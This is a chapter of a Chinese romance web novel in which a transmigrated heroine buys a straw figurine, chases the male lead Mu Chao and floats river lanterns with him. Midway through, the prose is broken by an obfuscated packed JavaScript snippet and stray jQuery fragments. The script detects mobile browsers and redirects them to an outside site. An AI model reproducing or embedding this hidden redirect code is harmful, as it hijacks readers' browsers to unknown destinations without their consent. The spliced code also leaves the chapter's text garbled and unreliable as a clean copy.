14. 河灯

作品:《高岭之花男主他掉马了

    “什么,你要找毒药?”闻言,荣如玉大惊失色,一个愣神将手上的包裹掉了下去。


    街边来来往往的人都被他的惊呼吸引过来,纷纷侧目。


    “小点声。”沈舒宁赶忙踮起脚尖伸手捂住他的嘴巴,生怕被楼上的沈阿猛他们听见。


    “你先说清楚要用它做什么。”荣如玉定定看着她,眼神中是从未有过的认真。


    她该不会是怕拖累家族,想着了结生命吧。


    “你的病我虽没什么办法,但天下如此之大,不怕找不到法子。”


    待父亲允许他出去游历,他定会将一路上的大夫问个遍。


    “不是你想的那样。”沈舒宁长叹一声,开始了奥斯卡级别的表演。


    在“她声泪俱下“”的描述中,荣如玉仍是皱眉,不甚相信。


    “真是为了防身?”他顺手拿出一块糕点,整个吞入口中。


    桂花的香气弥漫开来,他幸福地眯起眼。


    啧啧啧,沈府的伙食真不错。


    “想来也是,你阿兄空有一身蛮力,真遇到如昨夜那般情况,还真需要备上些防身的东西。”


    “这样吧,我从府中挑上些玩意儿,明日午时带来客栈你且挑挑看。”突然,他咀嚼的动作缓缓放慢,朝着街对面不好意思地挥了挥手。


    “慕兄。”


    人群中,慕朝是那么显眼,路过的女子们都不禁三步一回头,眼波流转。


    不难想若他生活在荣城,府中要被多少提亲的人踏破了门。


    可此刻他那双好看的桃花眼,却泛着淡淡的光,透过层层人群看着沈舒宁。


    不知怎的,沈舒宁顿觉一阵没由来的心虚,默默与身旁人拉开了距离。


    不对,怎么有种被抓奸的感觉。


    回过神来来时,她已然被左右夹击。


    身子左侧,慕朝撑起纸伞,为她遮挡刺眼的阳光,“姑娘这是要去哪儿。”话是对她说的,眼睛却没在看她。


    另一边,荣如玉被盯得浑身发毛,颇有眼色地从伞中退了出去,“你们聊、你们聊。”


    不就是离得近了点,犯得着吗?他在心中嘀咕道。


    为了找个借口搪塞过去,沈舒宁当即只好编了个借口,“荣公子正催着要领着我去城中逛逛呢。”所以你就别跟上来了吧,她下意识缠绕肩膀处的发丝,言语中透露出几分不自在。


    “我何时……”急于撇清关系的荣如玉立马就要发挥死道友不死贫道的精神。


    沈舒宁一脚下去,他痛呼出声,“诶呦。”


    “对对对,以表百姓对她的感谢。”他知道,沈舒宁在用明日的糕点威胁他。


    “哦?”闻言,慕朝摸摸下巴。


    “我们快写走吧,别误了公子的大事。”一股不好的预感涌上沈舒宁心头,她转头推着死乞白赖的荣如玉,正欲逃离这个布满危险之地。


    究其原因,她还没想好要用怎样的态度对待慕朝。


    可人越是怕什么,便来什么。


    只听身后人开口道,“等等。”紧接着,慕朝用一股不容拒绝的力道拉开荣如玉,笑着与沈舒宁并排行走。


    “说起来我还未来得及在城中转上一转,择日不如撞日,有劳荣公子。”


    那一刻,沈舒宁领会了什么叫做——皮笑肉不笑。


    她调动脸上僵硬的肌肉,笑得格外难看,“好好,我们一起。”


    虽说起初是为了找个借口开溜,但看着街边吆喝叫卖的商贩们,沈舒宁还是止不住好奇地上前一探究竟。


    她随手拿起货架上草编的小人,上下打量起来。


    “姑娘,可有想编的模样?”店主抬起头来,是个约莫五六十岁的老人家。


    他手上的皮肤布满褶皱,昭示岁月留下的痕迹,但眸子里的精气神却不难窥探其往日的意气风发。


    “店家什么都能编?”沈舒宁由不得瞪大双眼,呆愣愣地看着老人。


    闻言,老人先是一笑,随即开口道,“姑娘若是不信,不如亲眼看看如何?”说罢,老人家弯腰从货架下方拿出个竹编框子,在里面翻找起来。


    许是注意到三人身上不同寻常的气质,不少人纷纷侧目,没多久就将小摊围了个严严实实。


    眼看老人拿出条普通的不能再普通的草叶子,绕在手指上三两下便打了个结,沈舒宁耸耸肩,不以为意:这个她也会。


    可渐渐地,老人手上像是被施了魔法,原本平平无奇的草,转瞬间竟变了副摸样。


    在众人的惊呼声中,老人变出歌长发飘飘的草人。


    “是这姑娘的模样!”有人兴奋道。


    老人满意地将草人递给沈舒宁,拉开身后的凳子坐了下去。


    沈舒宁低着头,死死抓着手上的东西。


    “教练……”


    “教练,我要学这个!”她如获珍宝,将草人小心翼翼地贴在脸边,给了它大大的一个吻。


    慕朝在角落,嘴角抽动。


    沈舒宁伸手正欲掏出些钱币买下草人,可将口袋翻了个遍也愣是没摸到一枚铜板。


    遭了,她没带钱。


    她转头,眼巴巴地看向荣如玉,“你带钱了吗?”


    闻言,荣如玉露出不怀好意的微笑,故意拿起钱袋子在她面前晃了晃,“你说的是这个?”


    沈舒宁点头如捣蒜。


    可不能让着栩栩如生的草人落入他人之手!


    “向来都是谁付钱东西属于谁,可从未听说过……”荣如玉坏心眼地将钱袋子高高举起,沈舒宁掂着脚尖去够,却扑了个空,差点就要栽进他的怀中。


    “我买了。”身后,带着几分煞气的声音响起。


    耳边传来凳子翻倒在地的声音,店家看着桌上一整块银子,说什么也不肯手下,“不过是草编的玩意儿,公子给的也太多了。”


    “值。”说罢,慕朝便冷着一张脸,从身旁呆若木鸡的荣如玉手上抢走了草人,头也不回地走了。


    “他拿走了。”荣如玉磕磕巴巴道。


    沈舒宁点点头,露出了从未有过的认真神色。


    小宁,你等等,我马上就将你救出来!


    是的,短短几秒钟,她就为小草人起了个爱称,小宁。


    即使是男主,也不能把小宁从她身边抢走!


    “那句话怎么说的来着,打狗也要看主人。”沈舒宁喃喃道,接着便大步流星朝着慕朝的背影赶去。


    身后,荣如玉摸摸下巴:


    她确定不是在骂自己吗。


    于是,在无人在意的角落,荣如玉吊儿郎当地扇着扇子,朝着相反的方向走去。


    害,回府中搜刮些东西,明日好交差。


    一路上,沈舒宁三步并做两步,脚下都快要生风,愣是没追上慕朝。


    他的后背长了眼睛似得,总是能适时将沈舒宁甩开,又在她气喘吁吁快要放弃时放慢速度,缩短二人之间的距离。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617017|172034||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天色渐晚,荣城街道两旁亮起了点点烛火。


    不远处响起热闹的锣鼓声和欢呼声,引得沈舒宁不由得加快步伐,朝着灯火处走去。


    越过层层人群,入目便是一条蜿蜒清澈的溪流,大人小孩们从不远处的商贩手中买下河灯,用毛笔在上面比划些什么,随即小心翼翼地将河灯放入水中,顺着溪流飘向远方。


    “想要吗?”身后突兀地响起慕朝的声音,沈舒宁一个趔趄,跌坐在地。


    什么啊,神出鬼没的。


    她狼狈地爬起身,拍拍衣裙上的灰尘,带着几分挑衅道,“怎么,谷公子不跑了?”


    她本不该如此的。


    慕朝是男主,是存在于小说中的人物,而自己则是从第一章就开始追更的读者,曾经,她对他的感情更像是纯粹的欣赏。


    而如今,在得知他的真实身份后,却掺杂了些别的东西。


    沈舒宁也不懂自己在别扭些什么,她越来越将慕朝视作一个真实的人,而不是只存在于片段文字中的虚拟。


    他有体温、有情绪,却只能被迫接受作者的安排,历经坎坷,最终走向死亡。


    沈舒宁甚至自私地想过,她可以凭着对小说的熟悉,将慕朝攻略下来,占为己有。


    可越是相处,她愈发忍不下心。


    他不是冰冷的攻略对象,而是一个活生生的人。


    想到此,沈舒宁怔愣出神,她咬咬牙,下定决心:即使丢了性命也要解决苏子这个最终反派。


    这是她能为慕朝做的最后一件事。


    之后,她便悄无声息地从他身边消失,让他的生活回到原本的轨迹。


    “怎么了?”白皙的手掌在她眼前晃了又晃,沈舒宁这才回过神来。


    只见慕朝有些不好意思地别过脸去,抬手无措地抚摸脖颈,“是为了甩掉他。”


    “我今日本就想邀你一同赏灯。”


    或许是想到自己不日就要离开,沈舒宁眼中氤氲起来,面前淡黄色的光晕混作一团,她努力扬起一抹微笑,泪水却不住地从眼眶滑落。


    “嗯,我们一起赏灯。”


    跳动的烛光打在少女脸上,将她的脸庞照耀得多了几分血色,丝毫看不出是个整日需服药的病人。


    看着她这幅模样,慕朝心底莫名有了股不好的预感。


    眼前的人好似一阵风,随时都要消失,可人怎么能留住风,越是抓得紧越是徒劳无功。


    沈舒宁挑了个兔子模样的河灯,抬手在上面写下:希望慕朝平平安安,开开心心地度过这一生。


    她虔诚地双手合十,将灯放进小溪。


    看着她这幅认真的模样,慕朝不由得问出声,“许了什么愿望?”尽管他知道定然与自己无关,但还是忍不想知道。


    沈舒宁摇摇头,“说出来了就不灵了。”


    “你呢,没有什么愿望吗?”


    慕朝放下手中的圆滚滚的河灯,“愿望不是说给这东西听的,要说给能实现的人听。”语毕,他意有所指地看了眼沈舒宁。


    可沈舒宁完全不懂他的言外之意,只是蹲在溪边认真地看着一盏盏河灯顺流而下。


    鬼使神差的,慕朝付了两盏河灯的钱,连带沈舒宁的那份。


    他手起笔落,写下几行小字。


    “人嘛,总该有个念想。”沈舒宁笑意盈盈地抬头看他,却见慕朝飞速将河灯丢进溪中,像是做了什么亏心事。


    坏了,她开始好奇了。